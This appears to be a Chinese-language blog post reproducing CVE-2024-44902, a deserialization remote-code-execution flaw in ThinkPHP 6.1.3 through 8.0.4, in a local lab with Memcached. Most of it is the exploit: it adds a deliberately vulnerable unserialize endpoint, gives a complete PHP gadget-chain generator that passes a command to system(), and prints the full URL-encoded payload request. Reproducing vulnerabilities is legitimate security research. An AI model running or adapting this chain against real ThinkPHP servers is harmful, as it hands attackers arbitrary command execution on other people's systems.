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CVE-2024-44902 Thinkphp反序列化漏洞

news 2024/9/23 18:30:23

Thinkphp v6.1.3至v8.0.4版本中存在反序列化漏洞，攻击者可利用此漏洞执行任意代码。

影响版本

v6.1.3 <= thinkphp <= v8.0.4

环境搭建

环境：php8.0.2+thinkphp8.0.4+memcached3.2.0

首先搭建 thinkphp 环境：thinkPHP 8.0.4 安装_thinkphp8.0在哪下载-CSDN博客

要复现该漏洞，需确保你的Windows（或任何操作系统）上已经安装了Memcached服务器，并且PHP环境中也已经安装并启用了Memcached扩展。

安装Memcached服务器

下载Memcached软件：http://static.jyshare.com/download/memcached-1.4.5-amd64.zip
安装并启动 Memcached，执行如下，然后在任务栏中可见相关进程已启动

memcached.exe -d install
memcached.exe -d start

安装 PHP Memcached扩展

1. 下载PHP Memcached扩展：https://github.com/lifenglsf/php_memcached_dll

首先通过 phpinfo 查看 php 版本，NTS

由于是 php8.0 以及 NTS 所以选择如下

2. 下载后将php_memcached.dll 复制到对应 php 版本的 ext 目录中

3. 然后将 libmemcached.dll 复制到 c:\Windows 下

4. 在 php.ini 中添加一行配置，启用Memcached扩展

[Memcached]
extension=php_memcached.dll

配置ThinkPHP的缓存设置

最后需要在ThinkPHP的配置文件中设置默认的缓存驱动为Memcached

打开 config/cache.php，配置如下

<?php// +----------------------------------------------------------------------// | 缓存设置// +----------------------------------------------------------------------// config/cache.php  return [  // 默认缓存驱动  'default'     => 'memcached',  // 缓存连接方式配置  'stores'      => [  // Memcached缓存  'memcached' => [  // 驱动方式  'type'   => 'memcached',  // 服务器地址  'host'   => '127.0.0.1',  // 端口  'port'   => 11211,  // 持久连接  'persistent'    => false,  // 超时时间（单位：秒）  'timeout'       => 0,  // 前缀  'prefix'        => '',  // Memcached连接选项  'options'       => [],  // 权重（在多服务器配置时使用）  // 'weight'        => 100,  ],  // 这里可以配置其他缓存驱动  ],  ];

最后重启 thinkphp (php think run) ，通过 phpinfo，查看扩展是否正确加载

到这环境准备完成

漏洞复现

1. 首先，在app\controller\Index.php 中添加一个反序列化端点。因为这个漏洞只是提供了一条反系列化的链，而在实战中该反序列化的的入口点需要自己去找

<?phpnamespace app\controller;use app\BaseController;class Index extends BaseController
{public function index(){unserialize($_GET['x']);return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';}public function hello($name = 'ThinkPHP8'){return 'hello,' . $name;}
}

2. 利用下面的payload生成序列化数据，将该文件放置到 tp\public 目录下

<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{protected $options=[];function __construct(){$this->options["username"]=new Pivot();}
}namespace think\model;
use think\model;
class Pivot extends Model
{}namespace think;
abstract class Model{private $data = [];private $withAttr = [];protected $json = [];protected $jsonAssoc = true;function __construct(){$this->data["fru1ts"]=["C:\Windows\System32\whoami.exe"];$this->withAttr["fru1ts"]=["system"];$this->json=["fru1ts"];}
}namespace think\route;
use think\DbManager;
class ResourceRegister
{protected $registered = false;protected $resource;function __construct(){$this->registered=false;$this->resource=new DbManager();}
}
namespace think;
use think\model\Pivot;
class DbManager
{protected $instance = [];protected $config = [];function __construct(){$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];$this->config["default"]="getRule";}
}use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

3. 使用 payload 反序列化触发 rce

http://127.0.0.1:8000/?x=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A30%3A%22C%3A%5CWindows%5CSystem32%5Cwhoami.exe%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D